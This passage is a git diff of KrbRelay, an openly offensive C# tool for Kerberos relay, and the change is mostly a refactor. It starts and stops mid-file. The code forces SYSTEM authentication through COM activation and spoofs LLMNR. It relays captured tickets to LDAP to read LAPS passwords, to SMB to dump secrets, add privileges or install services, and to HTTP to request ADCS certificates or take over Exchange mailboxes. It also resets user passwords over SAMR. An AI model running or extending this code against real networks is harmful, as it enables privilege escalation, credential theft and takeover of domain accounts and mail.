//std.SecurityBindings.Clear();
//std.SecurityBindings.Add(new COMSecurityBinding(RpcAuthnService.GSS_Kerberos, spn));
- RpcServerUseProtseqEp("ncacn_ip_tcp", 20, port, IntPtr.Zero);
- RpcServerRegisterAuthInfo(null, 16, IntPtr.Zero, IntPtr.Zero);
+ Interop.RpcServerUseProtseqEp("ncacn_ip_tcp", 20, port, IntPtr.Zero);
+ Interop.RpcServerRegisterAuthInfo(null, 16, IntPtr.Zero, IntPtr.Zero);
+
+ // Initialize IStorage
- // Initialized IStorage
- IStorage stg;
- ILockBytes lb;
- int result;
result = Ole32.CreateILockBytesOnHGlobal(IntPtr.Zero, true, out ILockBytes lockBytes);
- result = Ole32.StgCreateDocfileOnILockBytes(lockBytes, Ole32.STGM.CREATE | Ole32.STGM.READWRITE | Ole32.STGM.SHARE_EXCLUSIVE, 0, out IStorage storage);
+ result = Ole32.StgCreateDocfileOnILockBytes(
+ lockBytes,
+ Ole32.STGM.CREATE | Ole32.STGM.READWRITE | Ole32.STGM.SHARE_EXCLUSIVE,
+ 0,
+ out IStorage storage
+ );
Ole32.MULTI_QI[] qis = new Ole32.MULTI_QI[1];
- //insert our ObjRef(std) in the StorageTrigger
- StorageTrigger storageTrigger = new StorageTrigger(storage, "127.0.0.1", TowerProtocol.EPM_PROTOCOL_TCP, std);
+
+ // Insert our ObjRef(std) in the StorageTrigger
+
+ StorageTrigger storageTrigger = new StorageTrigger(
+ storage,
+ "127.0.0.1",
+ TowerProtocol.EPM_PROTOCOL_TCP,
+ std
+ );
qis[0].pIID = Ole32.IID_IUnknownPtr;
qis[0].pItf = null;
qis[0].hr = 0;
if (sessionID == -123)
{
- Console.WriteLine();
Console.WriteLine("[*] Forcing SYSTEM authentication");
Console.WriteLine("[*] Using CLSID: {0}", clsId_guid);
try
{
- result = Ole32.CoGetInstanceFromIStorage(null, ref clsId_guid, null, Ole32.CLSCTX.CLSCTX_LOCAL_SERVER, storageTrigger, 1, qis);
+ result = Ole32.CoGetInstanceFromIStorage(
+ null,
+ ref clsId_guid,
+ null,
+ Ole32.CLSCTX.CLSCTX_LOCAL_SERVER,
+ storageTrigger,
+ 1,
+ qis
+ );
}
catch (Exception e)
{
+ Console.WriteLine("[*] CoGetInstanceFromIStorage error (this is probably expected):\n");
Console.WriteLine(e);
}
}
else
{
- Console.WriteLine();
Console.WriteLine("[*] Forcing cross-session authentication");
Console.WriteLine("[*] Using CLSID: {0}", clsId_guid);
@@ -957,26 +886,42 @@ public static void Main(string[] args)
Guid CLSID_ComActivator = new Guid("{0000033C-0000-0000-c000-000000000046}");
Guid IID_IStandardActivator = typeof(IStandardActivator).GUID;
var pComAct = (IStandardActivator)new StandardActivator();
- uint result2 = Ole32.CoCreateInstance(ref CLSID_ComActivator, null, 0x1, ref IID_IStandardActivator, out object instance);
+ uint result2 = Ole32.CoCreateInstance(
+ ref CLSID_ComActivator,
+ null,
+ 0x1,
+ ref IID_IStandardActivator,
+ out object instance
+ );
pComAct = (IStandardActivator)instance;
if (sessionID != -123)
{
- ISpecialSystemPropertiesActivator props = (ISpecialSystemPropertiesActivator)pComAct;
+ ISpecialSystemPropertiesActivator props =
+ (ISpecialSystemPropertiesActivator)pComAct;
Console.WriteLine("[*] Spawning in session {0}", sessionID);
props.SetSessionId(sessionID, 0, 1);
}
try
{
- result = pComAct.StandardGetInstanceFromIStorage(null, clsId_guid, IntPtr.Zero, CLSCTX.LOCAL_SERVER, storageTrigger, 1, qis);
+ result = pComAct.StandardGetInstanceFromIStorage(
+ null,
+ clsId_guid,
+ IntPtr.Zero,
+ CLSCTX.LOCAL_SERVER,
+ storageTrigger,
+ 1,
+ qis
+ );
}
catch (Exception e)
{
+ Console.WriteLine("[*] StandardGetInstanceFromIStorage error (this is probably expected):\n");
Console.WriteLine(e);
}
- //Console.WriteLine("[*] StandardGetInstanceFromIStoragee: {0}", result);
}
- //Marshal.BindToMoniker(std.ToMoniker());
+
+ return;
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Smb/RPCForSMBLibrary/Client/Helpers/SamrServiceHelper.cs b/KrbRelay/Smb/RPCForSMBLibrary/Client/Helpers/SamrServiceHelper.cs
index 2820f0b..95aeb20 100644
--- a/KrbRelay/Smb/RPCForSMBLibrary/Client/Helpers/SamrServiceHelper.cs
+++ b/KrbRelay/Smb/RPCForSMBLibrary/Client/Helpers/SamrServiceHelper.cs
@@ -1,3 +1,4 @@
+using KrbRelay;
using SMBLibrary.Client.Helpers;
using SMBLibrary.RPC;
using SMBLibrary.Services;
@@ -108,8 +109,8 @@ public static SamprHandle samrOpenUser(RPCCallHelper rpc, SamprHandle domainHand
public static NTStatus samrSetInformationUser(RPCCallHelper rpc, SamprHandle userHandle, string password, byte[] sessionKey)
{
byte[] lm = new byte[16];
- byte[] pntlm = KrbRelay.Helpers.unhexlify(KrbRelay.Helpers.KerberosPasswordHash(KrbRelay.Interop.KERB_ETYPE.rc4_hmac, password));
- KrbRelay.Natives.RtlEncryptNtOwfPwdWithNtSesKey(pntlm, sessionKey, out byte[] ntlm);
+ byte[] pntlm = KrbRelay.Helpers.HexToByteArray(KrbRelay.Helpers.KerberosPasswordHash(KERB_ETYPE.rc4_hmac, password));
+ KrbRelay.Interop.RtlEncryptNtOwfPwdWithNtSesKey(pntlm, sessionKey, out byte[] ntlm);
samrSetInformationUserRequest2 samrSetInformationUserRequest = new samrSetInformationUserRequest2();
samrSetInformationUserRequest.UserHandle = userHandle;
@@ -169,4 +170,4 @@ public static NTStatus samrClose(RPCCallHelper rpc, SamprHandle samrHandle)
return status;
}
}
-}
\ No newline at end of file
+}
diff --git a/KrbRelay/Spoofing/HttpServer.cs b/KrbRelay/Spoofing/HttpServer.cs
index 1fbe426..f55620e 100644
--- a/KrbRelay/Spoofing/HttpServer.cs
+++ b/KrbRelay/Spoofing/HttpServer.cs
@@ -84,8 +84,6 @@ public void Start()
internal class HttpRelayServer
{
-
-
public static void start(string Service, string argSpooferIP)
{
Console.WriteLine("[*] Listening for connections on http://{0}:80", argSpooferIP);
@@ -99,33 +97,39 @@ public static string ldapConnect(string ticket)
Console.WriteLine("ldapclient");
byte[] apReq = Convert.FromBase64String(ticket.Replace("Negotiate ", ""));
+ var buffer = new SecurityBuffer(apReq);
- var sTicket = new Natives.SecBuffer(apReq);
- var berval = new Natives.berval
+ var berval = new berval
{
- bv_len = sTicket.cbBuffer,
- bv_val = sTicket.pvBuffer
+ bv_len = buffer.Count,
+ bv_val = buffer.Token
};
var bervalPtr = Marshal.AllocHGlobal(Marshal.SizeOf(berval));
Marshal.StructureToPtr(berval, bervalPtr, false);
- var bind = Natives.ldap_sasl_bind(
- Program.ld,
+
+ var bind = Interop.ldap_sasl_bind(
+ State.ld,
"",
"GSS-SPNEGO", // GSS-SPNEGO / GSSAPI
bervalPtr,
IntPtr.Zero,
IntPtr.Zero,
out IntPtr servresp);
- Console.WriteLine("[*] bind: {0}", bind);
- Natives.ldap_get_option(Program.ld, 0x0031, out int value);
- Console.WriteLine("[*] ldap_get_option: {0}", (Natives.LdapStatus)value);
- if ((Natives.LdapStatus)value == Natives.LdapStatus.LDAP_SUCCESS)
+ Console.WriteLine("[*] ldap_sasl_bind: {0}", (LdapStatus)bind);
+
+ Interop.ldap_get_option(State.ld, 0x0031, out int value);
+ LdapStatus status = (LdapStatus)value;
+
+ Console.WriteLine("[*] ldap_get_option: {0}", status);
+
+ if (status == LdapStatus.Success)
{
Console.WriteLine("[+] LDAP session established");
- Clients.Attacks.Ldap.LAPS.read(Program.ld, "");
+ Clients.Attacks.Ldap.LAPS.read(State.ld, "");
}
//return string.Format("Negotiate {0}", Convert.ToBase64String(resp));
+
return "";
}
public static string smbConnect(string ticket)
@@ -135,30 +139,30 @@ public static string smbConnect(string ticket)
if (success)
{
Console.WriteLine("[+] SMB session established");
- //Program.stopSpoofing = true;
+ //State.stopSpoofing = true;
try
{
- if (Program.attacks.Keys.Contains("console"))
+ if (State.attacks.Keys.Contains("console"))
{
Clients.Attacks.Smb.Shares.smbConsole(Program.smbClient);
}
- if (Program.attacks.Keys.Contains("list"))
+ if (State.attacks.Keys.Contains("list"))
{
Clients.Attacks.Smb.Shares.listShares(Program.smbClient);
}
- if (Program.attacks.Keys.Contains("add-privileges"))
+ if (State.attacks.Keys.Contains("add-privileges"))
{
- Clients.Attacks.Smb.LSA.AddAccountRights(Program.smbClient, Program.attacks["add-privileges"]);
+ Clients.Attacks.Smb.LSA.AddAccountRights(Program.smbClient, State.attacks["add-privileges"]);
}
- if (Program.attacks.Keys.Contains("secrets"))
+ if (State.attacks.Keys.Contains("secrets"))
{
Clients.Attacks.Smb.RemoteRegistry.secretsDump(Program.smbClient, false);
}
- if (Program.attacks.Keys.Contains("service-add"))
+ if (State.attacks.Keys.Contains("service-add"))
{
- string arg1 = Program.attacks["service-add"].Split(new[] { ' ' }, 2)[0];
- string arg2 = Program.attacks["service-add"].Split(new[] { ' ' }, 2)[1];
+ string arg1 = State.attacks["service-add"].Split(new[] { ' ' }, 2)[0];
+ string arg2 = State.attacks["service-add"].Split(new[] { ' ' }, 2)[1];
Clients.Attacks.Smb.ServiceManager.serviceInstall(Program.smbClient, arg1, arg2);
}
}
@@ -166,8 +170,6 @@ public static string smbConnect(string ticket)
{
Console.WriteLine("[-] {0}", e);
}
-
- //Environment.Exit(0);
}
return string.Format("Negotiate {0}", Convert.ToBase64String(resp));
@@ -175,9 +177,9 @@ public static string smbConnect(string ticket)
public static string httpConnect(string ticket)
{
string endpoint = "/";
- if (!string.IsNullOrEmpty(Program.attacks["endpoint"]))
+ if (!string.IsNullOrEmpty(State.attacks["endpoint"]))
{
- endpoint = Program.attacks["endpoint"].TrimStart('/');
+ endpoint = State.attacks["endpoint"].TrimStart('/');
}
HttpResponseMessage result;
@@ -209,32 +211,30 @@ public static string httpConnect(string ticket)
try
{
- if (Program.attacks.Keys.Contains("proxy"))
+ if (State.attacks.Keys.Contains("proxy"))
{
Clients.Attacks.Http.ProxyServer.Start(Program.httpClient, Program.httpClient.BaseAddress.ToString());
}
- if (Program.attacks.Keys.Contains("adcs"))
+ if (State.attacks.Keys.Contains("adcs"))
{
- Clients.Attacks.Http.ADCS.requestCertificate(Program.httpClient, Program.relayedUser, Program.relayedUserDomain, Program.attacks["adcs"]);
+ Clients.Attacks.Http.ADCS.requestCertificate(Program.httpClient, State.relayedUser, State.relayedUserDomain, State.attacks["adcs"]);
}
- if (Program.attacks.Keys.Contains("ews-delegate"))
+ if (State.attacks.Keys.Contains("ews-delegate"))
{
- Clients.Attacks.Http.EWS.delegateMailbox(Program.httpClient, Program.relayedUser, Program.attacks["ews-delegate"]);
+ Clients.Attacks.Http.EWS.delegateMailbox(Program.httpClient, State.relayedUser, State.attacks["ews-delegate"]);
}
- if (Program.attacks.Keys.Contains("ews-search"))
+ if (State.attacks.Keys.Contains("ews-search"))
{
- Clients.Attacks.Http.EWS.readMailbox(Program.httpClient, "inbox", Program.attacks["ews-search"]);
+ Clients.Attacks.Http.EWS.readMailbox(Program.httpClient, "inbox", State.attacks["ews-search"]);
}
}
catch (Exception e)
{
Console.WriteLine("[-] {0}", e);
}
-
- //Environment.Exit(0);
}
else
{
diff --git a/KrbRelay/Spoofing/LLMNR.cs b/KrbRelay/Spoofing/LLMNR.cs
index 5850e3d..079dbdb 100644
--- a/KrbRelay/Spoofing/LLMNR.cs
+++ b/KrbRelay/Spoofing/LLMNR.cs
@@ -37,7 +37,7 @@ public static void LLMNRListener(string IP, string spooferIP, string spooferIPv6
UdpClient llmnrClient = UDP.UDPListener("LLMNR", IP, 5355, ipVersion);
Console.WriteLine("[*] Starting LLMNR spoofing");
- while (!Program.stopSpoofing)
+ while (!State.stopSpoofing)
{
try
{
@@ -114,7 +114,7 @@ public static byte[] GetLLMNRResponse(string type, string ipVersion, string llmn
// spoof here
llmnrRequest = Encoding.ASCII.GetBytes(spn);
- llmnrRequestLength[0] = (byte)spn.Length;
+ llmnrRequestLength[0] = (byte)State.spn.Length;
llmnrMemoryStream.Write(llmnrRequestLength, 0, 1);
llmnrMemoryStream.Write(llmnrRequest, 0, llmnrRequest.Length);